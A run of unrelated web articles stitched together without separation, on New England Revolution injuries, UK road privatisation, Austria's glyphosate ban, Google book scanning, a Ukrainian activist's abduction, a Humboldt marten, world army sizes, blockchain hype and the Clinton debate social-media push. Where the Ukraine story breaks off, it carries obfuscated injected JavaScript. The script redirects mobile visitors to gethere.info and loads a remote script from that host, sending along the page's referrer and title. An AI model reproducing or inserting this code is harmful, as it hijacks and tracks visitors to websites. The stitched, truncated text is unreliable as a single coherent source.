It's hard to completely panic without knowing the full extent of Jermaine Jones' injury. If the injury is anything considerably long-term, then achieving the goals this team set out to accomplish in pre-season will be made quite difficult.
When you add the more-than-probable loss of Juan Agudelo during the Gold Cup to the Jones injury, and mix it with an under-performing Lee Nguyen, you've got plenty of reasons to be alarmed going forward.
Everything this team wants to accomplish is still possible, but educated observers of the club know that the Revs are perilously close to letting it slip away.
So, what do you think Revs fans? Is it time to panic? Let us know by voting in the poll or commenting below.Welcome, once again, to the great British garage sale. What with the outsourcing of the police now a serious prospect, and the deeply strange spectacle of Richard Branson bidding for NHS work, today's announcement from David Cameron about selling off our roads is one of those things which is simultaneously shocking, and no great surprise.
In fact, this particular wheeze has been on the agenda since the time of George Osborne's last autumn statement, when the chancellor talked up the government's "national infrastructure plan": proposals for 500 projects that would be funded by private sources to the tune of £20bn. Pension funds were the focus of most of the resulting news coverage, but there was also a big projected role for sovereign wealth funds, those ever-growing interests that represent one of the 21st century's strangest quirks: the fact that nationalisation is back with a vengeance, but it tends to involve assets in the supposedly free-market west being bought up by foreign governments.
Cameron's speech today, then, represents one of those occasions when the government announces something it has actually announced already, as proved by a Financial Times story from November last year. "'For sale' sign goes up over UK infrastructure projects" was the headline, and the opening paragraph ran thus: "George Osborne will next week hang a 'for sale' sign over British infrastructure projects worth tens of billions of pounds, as he attempts to tempt UK pension funds, oil-rich Gulf states and other sovereign wealth funds to pay for new roads, railways, housing and other projects." There was a brief flurry of comment (from me, among other people), but the issue duly quietened down, while ministers and civil servants got on with making the plans a reality.
George Osborne has been to China to push the proposals; as the FT piece reported, the treasury minister Lord Sassoon has been to the Gulf, where he discovered a "huge appetite" for investment in British infrastructure. While there, he also underlined the watershed nature of what was being proposed, by harking back to the glory days of the Thatcher and Major years. "As an asset class," he said, "UK infrastructure is generating about as much interest as there was with the privatisation programme of the 1980s and 1990s."
I bet it is. Whatever this move represents, it has nothing to do with capitalism: it's all about trading years-long monopoly contracts for a short-term fillip to the Treasury, with the hope that while extracting a profit, our roads' new owners will somehow improve and expand them (they might, but surely on terms akin to the eyewatering arrangements of PFI deals). The government claims that tolls will only be charged by roads' new owners for new capacity, but that sounds distinctly like one of those weedy assurances given by politicians that, once yesterday's lunacy has become today's accepted practice, is swiftly forgotten (to these ears, it has a similar ring to all those early New Labour claims about strict limits on private involvement in the NHS, or what the likes of Nick Clegg have said about profit-making schools).
The whole wheeze points in only one direction, as evidenced by a 2007 piece in Time magazine about American road privatisation: "Tolls often skyrocket under private owners, though with the blessing of elected officials, who avoid the political costs of raising tolls or taxes themselves. That's how privatised roads deliver double-digit returns for investors."
More generally, all this highlights things that the political class is too sold on neoliberalism to acknowledge. It may be hopelessly old-fashioned to point it out, but there is such a thing as a national economy. In that sense, it's right to make a distinction between assets and businesses that may suit being traded for speculative purposes, and ones so central to our national wellbeing that they ought to be left well alone (water privatisation is apparently the government's ideal model – doesn't that make you feel better?). While we're here, you might also like to ponder on how you'll feel about your vehicle excise duty and/or tolls going to some of the most oppressive regimes in the world.
Some of the best writing on these issues has come from Matt Taibbi of Rolling Stone magazine, whose 2010 book Griftopia contains a sobering section about exactly the kind of plan the prime minister is now proposing, and its history in the US. Taibbi makes mention of no end of infrastructure already flogged off, and the cynical reasons for doing so: "A toll highway in Indiana. The Chicago Skyway. A stretch of highway in Florida. Parking meters in Nashville, Pittsburgh, Los Angeles, and other cities. A port in Virginia. And a whole bevy of Californian public infrastructure projects, all either already leased or set to be leased for 50 or 75 years or more in exchange for one-off lump sum payments of a few billion bucks at best, usually just to help patch a hole or two in a single budget year."
But he also zeroes in on why all this is bad news for millions of Americans, in a passage that focuses on the Pennsylvania turnpike, almost sold by governor Ed Rendell after a bidding war that included the Spanish corporation Abertis and Goldman Sachs.
Taibbi quotes a friend who worked for a Gulf-region sovereign wealth fund, apparently offered a stake in the turnpike by American investment bankers, and also makes reference to a small Pennsylvanian businessman called Robert Lukens. He points up that the latter's trade is already declining "thanks to soaring oil prices that have been jacked up by a handful of banks". He highlights the fact that rising petrol prices mean that even more of Lukens's money is going into "the pockets of Middle Eastern oil companies". At the same time, his suffering business means that he's paying less tax, with the result that cash-strapped state governments are now selling off toll roads, parking meters and ports, often to those self-same oil-rich states.
Taibbi concludes thus: "It's an almost frictionless machine for stripping wealth out of the heart of the country, one that perfectly encapsulates where we are as a nation." Here, as in America, it certainly does.
• Follow Comment is free on Twitter @commentisfree🔊 Listen to Article
By Brandon Turbeville, Natural Blaze
Austria is one step closer to banning glyphosate at the national level.
The Austrian People’s Party and the Freedom Party of Austria have both announced that they are seeking a national ban on the active ingredient in the world’s most ubiquitous herbicides. This is significant because the two parties are about to form a new government in Austria.
Sebastian Kurz, the future Austrian Chancellor, has stated that he wants to phase out glyphosate of the entire country.
Environmental organizations are praising the move as Kurz has also stated that he wants to orient Austria to France and Italy which also is witnessing a movement to ban glyphosate at the national level.
At the state level, Carinthia and Tyrol are looking at banning the herbicide.
Minister of Agriculture, Christian Benger, has said, “We have found a way to ban glyphosate in Carinthia. The agricultural department has formulated an appropriate regulation under the plant protection Act.”
Benger says that he can formulate this regulation only for agricultural uses but that the district administrator would have to sign regulations banning glyphosate for non-agricultural uses, which actually constitutes about 85% of the chemicals used in Carinthia.
SEE: Researchers Warn How Pesticides Are Secretly Growing Antibiotic Resistance
Benger does expect that the District Administrator will sign the regulation. DA Ralf Holub also supports banning glyphosate, stating, “The time of deaf ears in this important cause seems to be over.”
In Tyrol, the OVP-Green Coalition is pushing for a ban although the sector is 95% glyphosate-free. Josef Geisler, head of Agriculture in the state is supportive of the ban, but argues for a transition period to phase glyphosate out of the agricultural system.
Get a nifty FREE eBook – Like at Facebook, Twitter and Instagram. Can reshare with author name, link back, links and bio intact.If I stood on a corner telling people who asked where they could buy stolen goods and collected a small fee for it, I’d be on my way to jail. And yet even while search engines sail under mottos like “Don’t be evil,” they do the same thing.
Google is also at odds with many writers because in 2004 it partnered with five major libraries to scan and digitize millions of in-copyright books, without permission from authors. The Authors Guild (of which I am president) sued; years later, with a proposed settlement scuttled by the judge, the litigation goes on.
Google says this is a “fair use” of the works, an exception to copyright, because it shows only snippets of the books in response to each search. Of course, over the course of thousands of searches, Google is using the whole book and selling ads each time, while sharing none of the revenue with the author or publisher.
It got worse in 2011, when a consortium of some of Google’s partner libraries, the Hathi Trust, decided to put online some 200 books that the group had unilaterally decided were “orphans,” meaning they couldn’t locate the copyright owners. The “orphans” turned out to include books from writers like the best-selling novelist J. R. Salamanca — alive and well in Maryland — and the Pulitzer Prize winner James Gould Cozzens, whose copyrights were left to Harvard. The Authors Guild sued, and Hathi suspended the program. But that litigation also continues, even while millions of copyrighted works are stored online, one hacker away from worldwide dissemination for free.
The fracas with the Hathi libraries is emblematic of new fractures in traditional literary alliances. For many academics today, their own copyrights hold little financial value because scholarly publishing has grown so unprofitable. The copyrights of other authors, by contrast, often inhibit scholars who want to quote freely from those works or use portions in class. Thus, under the cri de coeur that “information wants to be free,” some professors and others are calling for copyright to be curtailed or even abandoned. High-minded slogans aside, these academics are simply promoting their own careers over the livelihoods of other writers.
Even libraries and authors, usually allies, have grown less cozy. No one calls our public library system socialistic, though it involves free distribution of the goods authors produce, and even though in many Western nations, authors get a tiny fee when libraries lend their works. Authors happily accept our system, because libraries have nurtured them as writers and readers.
Now many public libraries want to lend e-books, not simply to patrons who come in to download, but to anybody with a reading device, a library card and an Internet connection. In this new reality, the only incentive to buy, rather than borrow, an e-book is the fact that the lent copy vanishes after a couple of weeks. As a result, many publishers currently refuse to sell e-books to public libraries.On Thursday night, Dmitri Bulatov, one of the activists who has been leading the revolution in Ukraine, came stumbling out of the darkness toward the lights of a village just south of the nation’s capital, Kiev. He had been missing for a week, since the night of Jan. 22, when his fellow activists believe he had been kidnapped by thugs loyal to the ruling government. When the villagers saw him on Thursday night, he was covered in blood. His left cheek had been slashed and his left ear partly severed. “They crucified me,” he told a local television crew that soon arrived on the scene. “So there are holes in my hands now,” he said, showing what |
v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}Footage of a smallfoot--that is, what is likely the rare Humboldt marten--has been caught on film by Bigfoot seekers in northern California's Del Norte County.
How'd this happen? Long story. Basically, a group called the Bluff Creek Project set up cameras near a creek by that name in the Klamath and Trinity mountains, trying to catch un-wavy footage of Big Foot--or to get no foot-age (get it?), to confirm most biologists' suspicions. They are shooting in the same forested location where the infamous 1967 "Patterson-Gimlin film," which purportedly shows Bigfoot, took place, according to the Bluff Creek Project website.
In the process, the team has caught on film a cinnamon-colored black bear, a regal water bird, and what they say is a Humboldt marten. That slender, weasel-like animal, Martes caurina humboldtensis, is down to 200 individuals by some counts and was considered extinct for many years until it was sighted again in 1996, according to this article from KCET, a public-radio station for central and southern California.
In April, the U.S. Fish and Wildlife Service decided not to call the marten an Endangered Species. In their reasons, they cited that there are several very similar types of martens throughout the West and that they should not have been divided into subspecies. In response, two wildlife protection groups, the Environmental Protection Information Center (EPIC) and the Center for Biological Diversity told the FWS that they were going to sue them to force them to reconsider naming the marten for protection under the U.S. Endangered Species Act.
The film snagged by the Bigfoot project shows at least two images of a Humboldt marten. In one, a marten is running in lightly dusted snow. In another image, the animal is in a similar spot during warmer weather, according to the project website.
For more great nature science stories and general news, please visit our sister site, Headlines and Global News (HNGN).World's Largest Armies
This resource is updated at various intervals from time to time. The May 2016 version elevates the Korean People's Army to the world's largest army. The February 2016 iteration included several significant changes from the October 2015 version. These changes are made as new data becomes available, and as new insights are gained on foreign military formations. The intent here is to provide an apples-to-apples comparison with the US military, which is complicated by assessng the combat readiness of reserve forces. In the 19th century, reserves were cannon fodder, and today in most militaries around the world this remains the case. The US guard and reserve are not cannon fodder.
The size of the the Korean People's Army [KPA] is a source of controversy. By late 2015 a number of scholars both in South Korea and other countries concluded that the North Korean army was composed of around 700,000 soldiers. This is 500,000 fewer than the South Korean governments official estimate of 1.2 million soldiers. The DPRK's Reserve Military Training Unit [RMTU] consists of about 600,000 members, and upon reflection it seems that the organization, training and equipment ofthis formation are not substantially inferior to the North's regular forces, and so now it is counted here. South Korea has a large mobilization individual reserve force, but it is more a force of desperate last resort than the sort of routinely deployable force like the US Army Guard and Reserve [or the DPRK's RMTU]. Even though the ROK army is less than half the size of the KPA, it has higher overall combat effectivness.
There are over three dozen armies around the world with more than 100,000 soldiers. Arguably, the United States has the world's largest army, combining the troops of the US Army and the US Marine Corps. While the US Army is not a marine corps, the US Marine Corps is an army by any usable definition of the term. While the Marines might quibble, the distinction was probably lost on the enemy in Iraq or Afghanistan.
Somewhat surprisingly, the world's most populous country [China], seems not to have the world's larget army. No one seems to know the size of the Chinese army. According to some Western sources such as the IISS Military Balance, the size of the Chinese ground forces is the largest in the world with approximately 1.6 million personnel. IISS reports that about half this number are conscripts, while the other half are professional. In a white paper titled "The Diversified Employment of China's Armed Forces", which was published by the State Council Information Office in May 2013, the PLA disclosed the strength and formation of its ground force, air force, navy and missile arm. According to the document, the eighth of its kind issued by the Chinese government since 1998, the mobile operational units of the PLA ground force consisted of 18 combined corps and several independent combined combat divisions or brigades. These units were reported, to demonstrate the transparency and openness of the Chinese military, to have a strength of 850,000. The US Departement of Defense seems to have split the difference, reporting 1.25 million active duty PLA personnel as of 2012.
China on 17 April 2013 revealed the military strength of the People's Liberation Army (PLA) for the first time, saying it had 1.483 million personnel divided into 18 different corps. Titled, the "national defence white paper", it also revealed for the first time, the identities of the "group armies", or the 18 different corps the PLA has. In terms of numbers, the paper was a marked departure from earlier similar documents. "China now has about 850,000 army servicemen in 18 combined corps and additional independent combined operational divisions (brigades)," the paper said. Troop numbers, currently at less than 3 million after 10 reductions from a peak of 6.27 million in 1951, would be reduced to 2 million 1 million in the national guard and 1 million in the army, navy and air force. The army will bear the brunt of the reductions, being cut from 850,000 at present to 490,000. The navy would go from 235,000 to 210,000 and the air force from 398,000 to 300,000. In April 2015, the PLA Daily reported that the army would cut a large number of non-combat posts, including medical, communications and artist troupes.
The major military powers of Western Europe are comparative light-weights, with barely more than 100,000 soldiers, while any number of developing countries not normally thought of as major players have twice as many soldiers.
Russia was in second place in the list of the strongest military powers in the world. This is the conclusion analysts of the financial conglomerate Credit Suisse. They ranked the armies of the world, depending on their military capabilities - without nuclear weapons and non-conventional weapons. In the first place were the United States, and the third by a small margin from Russia is China. Army evaluated on six criteria: personnel, tanks, aircraft, attack helicopters, aircraft carriers and submarines.
This rating can be considered very sketchy, said a member of the Association of Military Political analyst Alexander Perendzhiev. "Evaluate the military force only on the number of tanks, planes and aircraft carriers, I think a little bit incorrect. Because, firstly, there are still nuclear weapons, and secondly, we probably have more to say about the quality of personnel, his professionalism, and of the concept of military force included not only material but also non-material means. What is meant by them: First, it is the people's spirit, morale, readiness to sacrifice their lives - these moments are also present."
Strangely absent from this list is Nigeria, the world's seventh most populous state, normally thought of as a military heavy-weight in Africa, but with only 62,000 soldiers it may be large by local standards, but not by world standards. Two other demographic heavyweights are punching below their weight - Indonesia, with a population of 250,000,000 has an army of 230,000, while Brazil, with a population of 200,000,000, has an army of 190,000.
This is a list of the world's largest armies, measured by the number of soldiers in uniform. This is not a list of the world's "strongest" armies, since military power is not simply a function of headcount. But headcount is an interesting measure, nonetheless. Counting heads is perhaps not as straigtforward as might be imagined. The first problem is the terminological ambiguity of the word "army" which can mean either ground force troops, as in the US Army, or in many countries the ground forces are called ground forces, or words to that effect, while the entire military establishment is called the army.
This is a list of ground forces only, not the entire military establishment. Except for the United States, these totals do not include Marine Corps or Naval Infantry, which in other countries with such formations are typically rather small, and are counted in another list. These totals also generally do not include gendarmerie or interior ministry formations. In the Soviet Union, the Interior Ministry had tank divisions, in China today the People's Armed Police are admirably equiped, and some European gendarmeries have low intensity conflict combat potential. But the range of variation from one country to another in the roles and capabilities of these organizations is too great to warrant their inclusion.
Afghanistan is an exception to this rule. In June 2011, the Afghan government approved an increase of the Afghan National Security Force [ANSF] to a total end strength 352,000 by October 2012 to include 195,000 in the Afghan National Army [ANA] and 157,000 in the Afghan National Police [ANP]. By March 2012 the force strength of the ANSF was 337,516 (187,874 in the ANA; 149,642 in the ANP). The Afghan National Police is engaged in the same counter-insurgency fight as the Afghan National Army.
Bangladesh is another exception, since the 60,000-strong Bangladesh Border Guard [BBG] is officered by regular army officers, and has internal security duties that are not readily distinguisable from the internal security operations of the regular Army, which is 200,000 strong [not counting 50,000 individual reservists]. Curiously, IISS places the Army at only 126,000. Bangladesh is also an exception, since the regular Army spends time enaged in activities not normally associated with an "army", such as collecting delinquent telephone bills and checking up on absenteeism among civil servants.
Cambodia is another extremely poor country that presents even more difficult methodological problems. IISS reports about 75,000 soldiers, while Wikipedia reports 175,000 soldiers. In fact, the Royal Government of Cambodia does not have a clear idea as to the actual size of the Army. The present Army was formed in 1993 through the amalgamation of three formerly hostile armies, with a plan to demobilize 70% of that force, but demobilization never happened. There may have been some 165,000 personnel on the rolls 1999 [twice as many as had been in service in 1993], and in 2001, there were officially 129,449 Royal Cambodian Armed Forces (RCAF) personnel. But many commanders inflate their personnel rolls, keeping ghost soldiers on the books and pocketing the monthly wages of the ghost soldiers.A large number of the regular force is reaching the end of service life and was ready for retirement. The Armys report released in the 5 Year Work Achievement Review revealed that officers accounted for up to 77 percent of the force as of 2006. In December 2011 Janes reported that "some sources estimate that up to 30,000 army personnel are medically or otherwise unfit for service. This would leave the army with a strength of around 110,000 on paper and an effective field strength of around 70,000 regular and provincial militia troops."
At one time the 125,000 troops of Iran's Islamic Revolutionary Guard Corps would have been counted along with the 350,000 soldiers of the regular army, but the Guard Corps now appears to have been reconfigured as an internal security force. The Afghan National Army reached its goal of 134,000 trained Afghan soldiers in August 2010, and a year later the force numbered just over 171,600. But about 90 to 95 percent are illiterate. Attrition in the Afghan national security forces continues to run very high, as much 32 percent per year. And between January and June of 2011, there were more than 24,000 Afghan soldiers who went AWOL.
The actual headcount of the Sri Lankan Army is a bit of a puzzle. Since 1995 the authoritative Military Balance, published by the International Institute of Strategic Studies, has estimated the total number of troops on active duty at more than 100,000 and less than 120,000, up from 50,000 in the year 1990. But the number of maneuver battalions has increased from about 18 in 1990 to over 100 by the year 2010. On 25 July 2010 Army Commander Lt. General Jagath Jayasuriya said that the Sri Lanka Army (SLA) had over 200,000 men.
Myanmar is widely reported to have an army of about 375,000. But most maneuver units in Myanmar's Army are somewhere between under-manned and badly undermanned, with far fewer troops assigned than would be expected based on their notional Tables of Organization and Equipment [TOE] or the manning levels of foreign counterpart units. Or maybe Myanmar's Army is not badly under-manned, but rather Army as a whole is seriously over-officered. IISS reports a strength of 375,000 as of 2011 [implying a typical battalion strength of 86 soldiers]. As of 2009 orbat.com reports a total authorized strength of 450,000 with only 250,000 actually on hand.
By 2013 two years of civil war had reduced the Syrian army from 220,000 [21st place] to perhaps 110,000 [35th place]. The army of Indonesia grew from 233,000 troops in 2012 to over 300,000 troops in 2013 [according to IISS], for no apparent reason.
NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email AddressWhile Blockchain technology is certainly worth investigating, CIOs should not be fooled into thinking it is the panacea for all the potential use cases currently under discussion. Forrester principal analyst, Martha Bennett is advising a healthy dose of skepticism.
Stories about digital currencies in general, and Bitcoin in particular, are still filling newsfeeds. However the industry is now more focused on the underlying technology of the blockchain and the concept of the shared ledger.
This is most clearly evidenced by the raft of startups which have been attracting headlines and investment dollars. A number of established companies are also investing in in-depth research and even proof of concept projects.
“Despite what the headlines suggest, all blockchain projects are in the early exploratory phases. It’s not something you can buy and deploy and, what’s easily forgotten in all the euphoria, is that very little has actually been proven yet,” Bennett explains.
Despite her prudent attitude, Bennett certainly does not discount the future potential of blockchain technologies. There are many startups with interesting technology approaches and compelling use cases, and some of the world’s best-known technology and consulting firms are working on blockchain projects.
However, Bennett is clear that CIOs should critically assess what their needs are and get a much fuller understanding of their options before jumping on board the blockchain bandwagon.
“I’ve had many a CIO ask just how seriously they should be taking blockchain technologies, and when this happens I suggest they apply some basic but important reality checks.”
At the outset it’s important to define what your understanding is. Like ‘cloud’ or ‘big data’, ‘blockchain’ means different things to different people. It’s important to ascertain what a particular person or company means by the term.
Find out which issues the blockchain technology addresses that aren’t possible to address in any other way and, if it does address these, has this been proven? Similarly, if cost savings are being put forward for using blockchain, has this been proven?
“There are many interesting projects in the labs at startups, banks, and consulting firms. Many of these are even functioning prototypes, but it’s already conceded that they won’t scale at enterprise level,” warns Bennett.
In addition to this, Bennett points out that Blockchain is a regulatory quagmire and she says many development companies fall short by not engaging with regulators before they offer the solution to clients.
Looking past the Bitcoin blockchain and its limitations, Bennett remains fairly upbeat about some of the alternatives. She says Ethereum is of particular interest. With its Turing-complete programming language, Bennett believes it is more suited to complex requirements. But it isn’t the perfect solution either for the types of use cases currently put forward for blockchain solutions in an environment involving trusted parties. Hence the emergence of initiatives such as the Linux Foundation’s Hyperledger Project.
In short, Bennett says companies should apply a five- to ten-year timeframe and keep asking ‘why?’
“Blockchain technology today belongs in the research or innovation lab. For each project, there must be a detailed explanation of why and how blockchain is more efficient, secure, and lower cost than any of the available alternatives, as well as being legally acceptable,” Bennett concludes.
Staff Writer
Comments
comments
« Modlin CEO to speak at March 17 Education Innovation Summit Mobile hacking is much easier than you think »On a conference call with supporters this afternoon, a top aide to Clinton directly asked supporters to use social media during and after the debate at Hofstra University in New York to help shape the conversation positively around the Democratic nominee.
"Reporters certainly view what's happening online," Clinton's deputy communications director Christina Reynolds said, adding it is part of, "how they judge the debate and then how they call the debate -- who won, who lost."
"And this debate even more so," Reynolds added, "as they will actually be tracking analytics of social media."
The campaign's digital director Jenna Lowenstein -- who said that two of the campaign's goals for the night include amplifying Clinton's best moments online and influencing the narrative about who is winning -- told supporters the most "important thing" they can do to help Clinton during the debate is to show their online support for her "early and often."
"It's important that we're not just turning this into the Donald Trump show," Lowenstein said.
In order to do this, she advised supporters to use Clinton's name and handle on Twitter during the debate, as well as the official debate hashtags announced by the debate's organizing commission.
"Those two hashtags are going to curate the conversation that they're going to look at when they're measuring the conversation," Lowenstein explained.
"All those headlines you see the next day -- '50 Percent of People Tweeting Were Supporting Hillary' -- that's the conversation they're going to look at."
She instructed them to, "Tweet early, tweet her name, use those hashtags.”
Lowenstein also said the campaign will be doing real-time fact-checks during Monday’s event. She told supporters to look towards their website and four of the campaign's Twitter accounts -- @HillaryClinton, @HFA, @TheBriefing and @TimKaine -- for content they can share on their own accounts.
Beyond that, Reynolds asked their supporters who have a press following to help influence the story line in to the next day as well.
